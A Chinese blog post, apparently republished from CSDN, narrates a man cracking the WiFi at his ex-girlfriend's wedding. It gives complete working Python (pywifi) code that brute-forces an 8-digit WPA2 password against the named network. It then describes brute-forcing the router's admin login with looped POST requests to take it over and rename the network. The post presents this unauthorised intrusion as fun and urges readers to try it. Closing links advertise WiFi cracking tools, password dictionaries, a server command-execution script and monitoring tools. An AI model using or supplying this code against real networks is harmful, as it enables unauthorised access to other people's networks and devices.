前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]python小哥哥,参加前女友婚礼,破解了婚礼现场的WIFI,还把WiFi的名称给改成了。。。

大家好,又见面了,我是你们的朋友全栈君。

大家好,我是Lex 喜欢欺负超人那个Lex

擅长领域:python开发、网络安全渗透、Windows域控Exchange架构

今日重点:① python暴力拿下WiFi密码;②python拿下路由器管理页面

代码干货满满,建议收藏+实操!!!有问题及需要,请留言哦~~

上次的故事是这样的

前女友发来加密的 “520快乐.pdf“,我用python打开之后,却发现。。。

事情是这样的

小哥哥还是来到了婚礼现场

在一个背靠角落的桌子前坐下

耳朵里塞满了 幸福到听不清的嘈杂声

闪烁的灯光刺痛着 昨夜失眠到 有点发红的双眼

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

一股莫名的感觉直往上冲

默默,掏出了笔记本 python开发工具

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]
现场的WiFi名称叫:”婚礼第一大厅”

python破解WiFi密码

1、安装pywifi和comtypes 两个模块

pip install pywifi

pip install comtypes

PS C:\Users\pacer> pip install pywifi

Collecting pywifi
  Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)
Installing collected packages: pywifi
Successfully installed pywifi-1.1.12

PS C:\Users\pacer> pip install comtypes

Collecting comtypes
  Downloading comtypes-1.1.10.tar.gz (145 kB)
     |████████████████████████████████| 145 kB 12 kB/s
Using legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.
Installing collected packages: comtypes
    Running setup.py install for comtypes ... done
Successfully installed comtypes-1.1.10
PS C:\Users\pacer>

2、生成8位密码

假设WiFi密码为8位纯数字

for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)

3、完整代码

使用pywifi模块,将wifi名称、密码配置进去,进行尝试。

import time
import pywifi
from pywifi import const

for i in range(100000000):
    #生成8位数密码
    pwd=str(i).zfill(8)
    print(pwd)
    profile = pywifi.Profile()
    profile.ssid ='婚礼第一大厅' #wifi名称 
    profile.auth = const.AUTH_ALG_OPEN #验证方式
    profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式
    profile.cipher = const.CIPHER_TYPE_CCMP    #加密类型
    profile.key=pwd
    wifi = pywifi.PyWiFi()

    iface = wifi.interfaces()[0]
    wedding = iface.add_network_profile(profile)
    #尝试连接
    iface.connect(wedding)
    time.sleep(3)
    if iface.status() == const.IFACE_CONNECTED:
        print('连接成功')
        break
    else:
        print('密码不对,连接失败,好气哦~~')

连接成功

一段时间后,连接成功。

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

拿到wifi密码之后

拿下路由器

1、路由器管理地址

路由器管理页面登录地址一般都是,192.168.0.1 或者 192.168.1.1访问路由器的链接地址。

http://192.168.0.1/

2、路由器登录提交分析

通过页面提交密码测试,发现密码是明文提交服务器验证的。

如下图

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

3、循环提交请求

通过循环提交路由器登录密码,通过工具post循环提交路由器的登录密码。

成功登录,拿下路由器

修改WIFI的名称

登录路由器界面,修改“婚礼第一大厅”WIFI名称

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

故事结尾

一切结束了,站起身,最后看了一眼

在交相辉映的灯光下

大大的合照上,手捧着鲜花 那张放肆笑着的脸

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

WiFi名改好了,告辞~

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

——————THE END————————-

【渗透测试相关工具下载】

brutecrack工具[WIFIPR中文版]及wpa/wpa2字典

https://download.csdn.net/download/weixin_42350212/13721381

Kali字典文件/纯数字/电话号码/弱/常用/Wifi等各种类型字典【解压后共计60G+字典文件】

https://download.csdn.net/download/weixin_42350212/13668542

【kali常用工具】brutecrack工具[WIFIPR中文版]及wpa/wpa2字典
https://download.csdn.net/download/weixin_42350212/13721381

【kali常用工具】EWSA 5.1.282-破包工具
https://download.csdn.net/download/weixin_42350212/13704097

【kali常用工具】Realtek 8812AU KALI网卡驱动及安装教程
https://download.csdn.net/download/weixin_42350212/13703770

【kali常用工具】无线信号搜索工具_kali更新
https://download.csdn.net/download/weixin_42350212/13703729

【kali常用工具】inssider信号测试软件_kali常用工具
https://download.csdn.net/download/weixin_42350212/13703705

【kali常用工具】MAC地址修改工具 保护终端不暴露
https://download.csdn.net/download/weixin_42350212/13703597

【kali常用工具】脚本管理工具 php和jsp页面 接收命令参数 在服务器端执行
https://download.csdn.net/download/weixin_42350212/13754997

【kali常用工具】上网行为监控工具       
https://download.csdn.net/download/weixin_42350212/13985799

【kali常用工具】抓包工具Charles Windows64位 免费版
https://download.csdn.net/download/weixin_42350212/15898652

【kali常用工具】图印工具stamp.zip
https://download.csdn.net/download/weixin_42350212/14980915

CSDN官方学习推荐 ↓ ↓ ↓

CSDN出的Python全栈知识图谱,太强了,推荐给大家!

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了[通俗易懂]

推荐阅读

python实战

【python实战】前女友发来加密的 “520快乐.pdf“,我用python破解开之后,却发现。。。

【python实战】昨晚,我用python帮隔壁小姐姐P证件照 自拍,然后发现

【python实战】女友半夜加班发自拍 python男友用30行代码发现惊天秘密

【python实战】python你TM太皮了——区区30行代码就能记录键盘的一举一动

python实战】女神相册密码忘记了,我只用Python写了20行代码~~~

pygame系列文章

一起来学pygame吧 游戏开发30例(二)——塔防游戏

一起来学pygame吧 游戏开发30例(四)——俄罗斯方块小游戏

一起来学pygame吧 游戏开发30例(五)——消消乐 小游戏

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/131331.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • DLL注入与安全

    DLL注入与安全伊始  安全与危险是共存的。如果我们了解危险的来源以及产生的过程,对于安全防护拥有很现实的意义。  本文主要介绍dll注入的方式,意在描述危险的来源,以及危险的执行的过程,以便于我们解决危险。主体这篇文章介绍2大类:序号方式1调用API2直接修改源码1.调用API  如果要实现注入,那么需要一个目标,一个DLL,一个注入程序。原理:  代码的执行…

    2022年5月16日
    52
  • Reaver linux 安装教程

    Reaver linux 安装教程首先安裝:Reaver相關庫文件打開終端機:$sudoapt-getinstalllibpcap-dev$sudoapt-getinstalllibsqlite3-dev安裝Reaver1.4$sudoapt-getinstallsubversion#部署svn環境$cdDesktop$svncheckouthttp://reaver-wps.googlecode.co…

    2022年6月3日
    40
  • pycharm使用pip安装模块_pycharm安装pip不是内部指令

    pycharm使用pip安装模块_pycharm安装pip不是内部指令pycharm使用pip更换安装源在Pycharm底部的Terminal输入//AnhighlightedblockPSD:\Users>pipconfigsetglobal.index-urlhttps://pypi.tuna.tsinghua.edu.cn/simple–trusted-hostpypi.tuna.tsinghua.edu.cnWritingtoC:\Users\AppData\Roaming\pip\pip.ini#下面这行代码是查

    2022年8月29日
    3
  • dubbo简介

    dubbo简介dubbo简介

    2022年4月25日
    47
  • 微软面试-微软面试题(5)[通俗易懂]

    微软面试-微软面试题(5)[通俗易懂]微软面试题-头脑  ★如果你有一个许多部件可以拆卸的时钟,你将它一块块拆开,但是没有记住是怎样拆的。然后你将各个零件重新组装起来,最后发现有三个重要零件没有放进去。这时你如何重新组装这个时钟?  ★如果你需要学习一门新的计算机语言,你会怎样做?  ★假设由你负责设计比尔·盖茨的卫生间。当然,钱不成问题,但是你不可以和比尔谈。你会怎样做?  ★到目前为止,你遇到的最难回答的问题是什么?  ★如果微软

    2022年8月26日
    8
  • SMO算法最通俗易懂的解释

    SMO算法最通俗易懂的解释我的机器学习教程「美团」算法工程师带你入门机器学习已经开始更新了,欢迎大家订阅~任何关于算法、编程、AI行业知识或博客内容的问题,可以随时扫码关注公众号「图灵的猫」,加入”学习小组“,沙雕博主在线答疑~此外,公众号内还有更多AI、算法、编程和大数据知识分享,以及免费的SSR节点和学习资料。其他平台(知乎/B站)也是同名「图灵的猫」,不要迷路哦~SVM通常用对偶问题来求解,这…

    2022年6月30日
    24

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号